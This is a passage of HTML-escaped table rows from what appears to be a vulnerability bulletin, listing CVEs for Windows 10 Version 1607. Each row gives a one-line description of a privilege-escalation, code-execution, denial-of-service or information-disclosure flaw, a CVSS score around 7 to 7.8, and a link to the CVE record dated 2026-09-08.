&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69691&quot; target=&quot;_blank&quot;&gt;CVE-2026-69691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69692&quot; target=&quot;_blank&quot;&gt;CVE-2026-69692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Broker service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69693&quot; target=&quot;_blank&quot;&gt;CVE-2026-69693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data in Windows IP Address Management (IPAM) Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69694&quot; target=&quot;_blank&quot;&gt;CVE-2026-69694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Win32K allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69706&quot; target=&quot;_blank&quot;&gt;CVE-2026-69706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows USB Audio Class driver (usbaudio.sys) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69707&quot; target=&quot;_blank&quot;&gt;CVE-2026-69707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69709&quot; target=&quot;_blank&quot;&gt;CVE-2026-69709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69711&quot; target=&quot;_blank&quot;&gt;CVE-2026-69711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69731&quot; target=&quot;_blank&quot;&gt;CVE-2026-69731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69735&quot; target=&quot;_blank&quot;&gt;CVE-2026-69735&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69738&quot; target=&quot;_blank&quot;&gt;CVE-2026-69738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69758&quot; target=&quot;_blank&quot;&gt;CVE-2026-69758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Kerberos allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69760&quot; target=&quot;_blank&quot;&gt;CVE-2026-69760&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69761&quot; target=&quot;_blank&quot;&gt;CVE-2026-69761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Time-of-check time-of-use (toctou) race condition in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69779&quot; target=&quot;_blank&quot;&gt;CVE-2026-69779&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Untrusted search path in Windows Smart Card allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69785&quot; target=&quot;_blank&quot;&gt;CVE-2026-69785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69787&quot; target=&quot;_blank&quot;&gt;CVE-2026-69787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper validation of consistency within input in Windows TCP/IP allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69793&quot; target=&quot;_blank&quot;&gt;CVE-2026-69793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Accounts Control allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69816&quot; target=&quot;_blank&quot;&gt;CVE-2026-69816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Bluetooth Port Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69817&quot; target=&quot;_blank&quot;&gt;CVE-2026-69817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper encoding or escaping of output in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69821&quot; target=&quot;_blank&quot;&gt;CVE-2026-69821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows ALPC allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69834&quot; target=&quot;_blank&quot;&gt;CVE-2026-69834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69838&quot; target=&quot;_blank&quot;&gt;CVE-2026-69838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69841&quot; target=&quot;_blank&quot;&gt;CVE-2026-69841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69844&quot; target=&quot;_blank&quot;&gt;CVE-2026-69844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim&#039;s machine&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69852&quot; target=&quot;_blank&quot;&gt;CVE-2026-69852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Time-of-check time-of-use (toctou) race condition in Windows USB Audio Class driver (usbaudio.sys) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69859&quot; target=&quot;_blank&quot;&gt;CVE-2026-69859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Media allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69891&quot; target=&quot;_blank&quot;&gt;CVE-2026-69891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper handling of insufficient permissions or privileges in Windows Enterprise App Management allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69907&quot; target=&quot;_blank&quot;&gt;CVE-2026-69907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69911&quot; target=&quot;_blank&quot;&gt;CVE-2026-69911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing release of memory after effective lifetime in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70065&quot; target=&quot;_blank&quot;&gt;CVE-2026-70065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70283&quot; target=&quot;_blank&quot;&gt;CVE-2026-70283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70289&quot; target=&quot;_blank&quot;&gt;CVE-2026-70289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Windows Audio Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70562&quot; target=&quot;_blank&quot;&gt;CVE-2026-70562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70564&quot; target=&quot;_blank&quot;&gt;CVE-2026-70564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows AF_UNIX Socket Provider allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70565&quot; target=&quot;_blank&quot;&gt;CVE-2026-70565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70568&quot; target=&quot;_blank&quot;&gt;CVE-2026-70568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim&#039;s machine&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70570&quot; target=&quot;_blank&quot;&gt;CVE-2026-70570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70572&quot; target=&quot;_blank&quot;&gt;CVE-2026-70572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70573&quot; target=&quot;_blank&quot;&gt;CVE-2026-70573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70574&quot; target=&quot;_blank&quot;&gt;CVE-2026-70574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70581&quot; target=&quot;_blank&quot;&gt;CVE-2026-70581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Core Messaging allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70583&quot; target=&quot;_blank&quot;&gt;CVE-2026-70583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Windows Core Messaging allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70584&quot; target=&quot;_blank&quot;&gt;CVE-2026-70584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper null termination in Windows Remote Desktop Protocol allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70587&quot; target=&quot;_blank&quot;&gt;CVE-2026-70587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Exposure of sensitive system information to an unauthorized control sphere in Windows Services for NFS ONCRPC XDR Driver allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71330&quot; target=&quot;_blank&quot;&gt;CVE-2026-71330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71332&quot; target=&quot;_blank&quot;&gt;CVE-2026-71332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71333&quot; target=&quot;_blank&quot;&gt;CVE-2026-71333&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NFS Portmapper allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71334&quot; target=&quot;_blank&quot;&gt;CVE-2026-71334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows File History Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71340&quot; target=&quot;_blank&quot;&gt;CVE-2026-71340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71342&quot; target=&quot;_blank&quot;&gt;CVE-2026-71342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71343&quot; target=&quot;_blank&quot;&gt;CVE-2026-71343&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds write in Windows Spaceport.sys allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
